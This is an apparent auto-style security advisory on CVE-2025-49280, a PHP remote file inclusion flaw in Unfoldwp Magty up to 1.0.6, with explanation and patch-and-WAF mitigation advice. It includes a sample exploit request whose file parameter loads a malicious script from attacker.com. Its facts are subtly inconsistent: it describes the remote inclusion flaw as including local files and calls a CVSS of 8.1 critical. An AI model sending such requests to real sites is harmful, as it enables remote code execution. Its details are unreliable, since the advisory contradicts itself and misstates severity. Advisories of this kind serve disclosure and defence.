Overview
CVE-2025-49280 is a vital vulnerability that affects Unfoldwp Magty – a widely utilized platform for creating professional websites. This vulnerability arises from improper control of filename for Include/Require statement in PHP Program, specifically a ‘PHP Remote File Inclusion’ (RFI) vulnerability. In essence, the vulnerability allows potential attackers to include local files from the server, leading to potential system compromise or data leakage. This vulnerability is of significant concern due to its high CVSS Severity Score and the substantial impact it could have on the affected systems.
Vulnerability Summary
CVE ID: CVE-2025-49280
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Unfoldwp Magty | n/a through 1.0.6
How the Exploit Works
The exploit works by taking advantage of the improper control of filename for Include/Require statement in a PHP Program. The PHP ‘include’ and ‘require’ statements are used to insert useful codes written in other files, in the flow of execution. In this particular case, an attacker could manipulate these statements to include files from a remote server, instead of local ones. Once the remote files are included, the attacker can execute arbitrary commands, possibly leading to full system control or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker is requesting the ‘index.php’ page, but with a parameter (‘file’) pointing to a malicious script hosted on their own server (‘attacker.com’). The PHP ‘include’ or ‘require’ statement would then load and execute this remote file, causing the malicious script to be executed on the target server.
How to Mitigate the Vulnerability
To mitigate this vulnerability, users of Unfoldwp Magty should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts at exploiting this vulnerability, thereby protecting the system until the patch can be applied.
Remember, regular patching and updating of systems is a key aspect of maintaining a secure IT environment. Being proactive in addressing vulnerabilities can significantly reduce the risk of system compromise or data leakage.